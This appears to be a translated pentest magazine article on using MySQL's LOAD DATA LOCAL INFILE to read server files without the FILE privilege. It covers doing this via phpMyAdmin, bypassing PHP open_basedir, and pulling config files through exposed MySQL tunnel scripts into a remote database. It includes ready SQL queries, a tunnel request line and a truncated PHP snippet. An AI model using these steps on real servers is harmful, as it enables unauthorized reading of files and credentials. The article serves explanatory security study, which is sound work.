I describe a fairly common situation. During the pentest, access was gained to phpMyAdmin on a remote host, but the files could not be accessed through it. The notorious FILE_PRIV=no flag in the MySQL daemon settings is to blame for everything. Many in this situation give up and believe that the files on the host can no longer be read in this way. But it is not always the case.

WARNING

All information is provided for informational purposes only. Neither the editors nor the author are responsible for any possible harm caused by the materials of this article.

Prelude

When it comes to the interaction of the MySQL DBMS with the file system, they usually remember:

• the LOAD_FILE function, which allows you to read files on the server;
• the SELECT ... INTO OUTFILE construct, which can be used to create new files.

Accordingly, if you get access to phpMyAdmin or any other client on a remote machine, then with a high probability you can get to the file system through MySQL. But only if the FILE_PRIV=yes flag is set in the daemon settings, which is not always the case. In this case, we need to remember about another operator, much less well-known, but at the same time having quite powerful functionality. I'm talking about the LOAD DATA INFILE statement, the features of which will be discussed in this article.

Interaction between PHP and MySQL

PHP is the most widely used language for building web applications, so it's worth taking a closer look at how it interacts with a database.

In PHP4, the MySQL client libraries were included by default and included in the PHP distribution, so during installation, you could only opt out of using MySQL by specifying the option

without mysql.

PHP5 comes without a client library. On *nix systems, PHP5 is usually built with the libmysqlclient library already installed on the server, simply by setting the option

With-mysql=/usr

during assembly. At the same time, before version 5.3, a low-level MySQL Client Library (libmysql) is used to interact with the MySQL server, an interface that is not optimized for communication with PHP applications.

The MySQL Native Driver (mysqlnd) has been developed for PHP 5.3 and higher, and the recent release of PHP 5.4 uses this driver by default. Although the built-in MySQL driver is written as a PHP extension, it is important to understand that it does not provide a new API to the PHP programmer. The MySQL database API for the programmer is provided by the MySQL, mysqli and PDO_MYSQL extensions. These extensions can use the built-in MySQL driver to communicate with the MySQL daemon.

Using the built-in MySQL driver has some advantages over the MySQL client library: for example, you don't need to install MySQL to build PHP or use scripts that work with the database. More information about MySQL Native Driver and its differences from libmysql can be found in the documentation.

The MySQL, mysqli and PDO_MYSQL extensions can be individually configured to use either libmysql or mysqlnd. For example, to configure the MySQL extension to use the MySQL Client Library and the mysqli extension to work with the MySQL Native Driver, you would specify the following options:

`./configure --with-mysql=/usr/bin/mysql_config --with-mysqli=mysqlnd`

Syntax LOAD DATA

The LOAD DATA statement, as the documentation says, reads lines from a file and loads them into a table at very high speed. It can be used with the LOCAL keyword (available in MySQL 3.22.6 and later), which specifies where the data will be loaded from. If the word LOCAL is absent, then the server loads the specified file into the table from its local machine, and not from the client's machine. That is, the file will not be read by the MySQL client, but by the MySQL server. But this operation again requires the FILE privilege (the FILE_PRIV=yes flag). The execution of the statement in this case can be compared to using the LOAD_FILE function - with the only difference that the data is loaded into the table, and not displayed. Thus, using LOAD DATA INFILE to read files makes sense only when the LOAD_FILE function is not available, that is, on very old versions of the MySQL server.

But if the statement is used in this form: LOAD DATA LOCAL INFILE , that is, using the word LOCAL, then the file is already read by the client program (on the client's machine) and sent to the server where the database is located. At the same time, the FILE privilege is, of course, not needed to access files (since everything happens on the client's machine).

MySQL/mysqli/PDO_MySQL extensions and LOAD DATA LOCAL statement

In the MySQL extension, the ability to use LOCAL is controlled by the PHP_INI_SYSTEM directive mysql.allow_local_infile. By default, this directive has a value of 1, and therefore the operator we need is usually available. Also, the mysql_connect function allows you to enable the use of LOAD DATA LOCAL if the fifth argument is the constant 128.

When the PDO_MySQL extension is used to connect to the database, we can also enable LOCAL support using the PDO::MYSQL_ATTR_LOCAL_INFILE (integer) constant

$pdo = new PDO("mysql:host=localhost;dbname=mydb", "user", "pass", array(PDO::MYSQL_ATTR_LOCAL_INFILE => 1));

But the greatest possibilities for working with the LOAD DATA statement are provided by the mysqli extension. This extension also provides the PHP_INI_SYSTEM directive mysqli.allow_local_infile, which regulates the use of LOCAL.

If the connection is made through mysqli_real_connect, then with the help of mysqli_options we can both enable and disable LOCAL support. Moreover, the mysqli_set_local_infile_handler function is available in this extension, which allows you to register a callback function to handle the contents of files read by the LOAD DATA LOCAL INFILE statement.

Reading files

The attentive reader has probably already guessed that if we have an account in phpMyAdmin, then we will be able to read arbitrary files without having the FILE privilege, and even bypass open_basedir restrictions. After all, very often both the client (in this case, phpMyAdmin) and the MySQL daemon are on the same machine. Despite the limitations of the MySQL server security policy, we can take advantage of the fact that this policy does not apply to the client, and still read the files from the system, pushing them into the database.

The algorithm is simple. It is enough to execute the following SQL queries:

1. Create a table in which we will write the contents of the files: CREATE TABLE temp(content text);
2. Send the contents of the file to the created table: LOAD DATA LOCAL INFILE "/etc/hosts" INTO TABLE temp FIELDS TERMINATED BY "eof" ESCAPED BY "" LINES TERMINATED BY "eof";

Voila. The contents of the /etc/hosts file are now in the temp table. Need to read binaries? No problem. If in the first step we create a table like this:

CREATE TABLE "bin" ("bin" BLOB NOT NULL) ENGINE = MYISAM ;

then it will be possible to load binary files into it. True, extra bits will be added to the end of the files, but they can be removed in any hex editor. Thus, you can download scripts protected by IonCube/Zend/TrueCrypt/NuSphere from the server and decode them.

Another example of how you can use LOAD DATA LOCAL INFILE is to find out the path to the Apache config. This is done as follows:

1. First, we find out the path to the binary, for this we read /proc/self/cmdline as described above.
2. And then we read directly the binary, where we are looking for HTTPD_ROOT/SERVER_CONFIG_FILE.

It is clear that in this situation the phpMyAdmin scripts play the role of a client to connect to the database. And instead of phpMyAdmin, you can use any other web interface to work with MySQL.

For example, you can use scripts to backup and restore the database. Back in 2007, a French hacker named acidroot published an exploit based on this remark and making it possible to read files from the phpBB admin panel.<= 2.0.22.

The tunnel is convenient. Tunnel unsafe

When installing complex web applications, direct access to the database is often required, for example, for initial configuration and adjustment of scripts. Therefore, in some cases it is advisable to install a simple script on the server - the so-called MySQL Tunnel, which allows you to query the database using a convenient client instead of the heavyweight phpMyAdmin.

There are quite a few tunnels for working with the database, but all of them are not very common. Perhaps one of the most famous is Macromedia Dream Weaver Server Scripts. You can see the source code for this script.

The main difference between MySQL Tunnel and phpMyAdmin is the need to enter not only the login and password from the database, but also the host to which you want to connect. At the same time, tunnels are often left active, well, just in case, you never know what else needs to be adjusted. It seems like you can use them only if you have an account in the database - then why be afraid? In short, it seems that the tunnel does not pose a particular security threat to the web server. But in fact, not everything is as good as it seems at first glance.

Consider the following situation. Let server A have a site.com site with an established tunnel http://site.com/_mmServerScripts/MMHTTPDB.php. Let's assume that on server A it is possible to use LOAD DATA LOCAL (as discussed above, this, for example, is possible with default settings). In this case, we can take a remote MySQL server, whose databases are allowed from anywhere and which also allows you to use LOCAL, and connect to this server using a tunnel. Data for connecting to a remote MySQL server:

DB Host: xx.xx.xx.xxx DB Name: name_remote_db DB User: our_user DB Pass: our_pass

In this situation, server A will play the role of a client, and therefore we can send files from its host to a remote database, or, in other words, read files. With the following simple request:

Type=MYSQL&Timeout=100&Host=xx.xx.xx.xxx&Database=name_remote_db&UserName=our_user&Password=our_pass&opCode=ExecuteSQL&SQL=LOAD DATA LOCAL INFILE /path/to/script/setup_options.php" INTO TABLE tmp_tbl FIELDS TERMINATED BY "__eof__" ESCAPED BY "" LINES TERMINATED BY "__eof__"

In fact, this vulnerability is more dangerous than the usual reading of files: it allows reading the configuration files of scripts installed on server A. Through the same tunnel, you can get direct access to the database that manages these scripts. The technique described above for using muscle tunnels can be slightly generalized and applied when exploiting unserialize vulnerabilities.

client-server

In order to better understand the possibilities of LOAD DATA, it is necessary to remember that the MySQL DBMS uses a traditional client-server architecture. Working with MySQL, we actually work with two programs:

• a database server program located on the computer where the database is stored. The mysqld daemon listens for client requests over the network and accesses the contents of the database, providing the information requested by the clients. If mysqld is started with --local-infile=0, then LOCAL will not work;
• the client program connects to the server and sends requests to the server. The MySQL DBMS distribution includes several client programs: the MySQL console client (the most commonly used), as well as mysqldump, mysqladmin, mysqlshow, mysqlimport, and so on. And if necessary, you can even create your own client program based on the standard libmysql client library, which comes with the MySQL DBMS.

If using the standard MySQL client fails to use the LOAD DATA LOCAL statement, then you should use the --local-infile switch:

Mysql --local-infile sampdb mysql> LOAD DATA LOCAL INFILE "member.txt" INTO TABLE member;

Or specify an option for the client in the /my.cnf file:

local-infile=1

It is important to note that by default all MySQL clients and libraries are compiled with the --enable-local-infile option to ensure compatibility with MySQL 3.23.48 and older, so LOAD DATA LOCAL is usually available for standard clients. However, commands to the MySQL server are sent mainly not from the console, but from scripts, so web development languages ​​also have clients for working with the database, which may differ in functionality from the standard MySQL client.

Of course, this feature of the LOAD DATA statement can be a security risk to the system, and so starting with MySQL 3.23.49 and MySQL 4.0.2 (4.0.13 on Win) the LOCAL option will only work if both client and server allow it.

Bypass open_basedir restrictions

Using LOAD DATA quite often allows you to bypass the limitations of open_basedir. This can be useful if, for example, we have access to one user's shared hosting directory, but want to read scripts from another user's home directory. Then by installing this script

1)); $e=$pdo->exec("LOAD DATA LOCAL INFILE "./path/to/file" INTO TABLE test FIELDS TERMINATED BY "__eof__" ESCAPED BY "" LINES TERMINATED BY "__eof__""); $pdo = null; ?>

Conclusion

It is curious that the described possibility of the LOAD DATA operator has been known for at least ten years. The mention of it can, for example, be found in the ticket [#15408] (Safe Mode / MySQL Vuln 2002-02-06), and then similar questions repeatedly surfaced on bugs.php.net [#21356] [#23779] [#28632 ] [#31261] [#31711]. To which the developers responded verbatim as follows:

[email protected] It's not a bug, it's a feature :)

Or assigned a "Status: Wont fix" ticket. Or they were limited to patches that solved almost nothing. Tickets on this topic arose again. Therefore, the specified method of bypassing open_basedir still works on a fairly large number of servers. However, with the advent of the new mysqlnd driver, it seems that the decision was made to make significant changes: with default settings, this statement will no longer be executed at all [#54158] [#55737]. Let's hope that in the near future the developers will put things in order in this matter.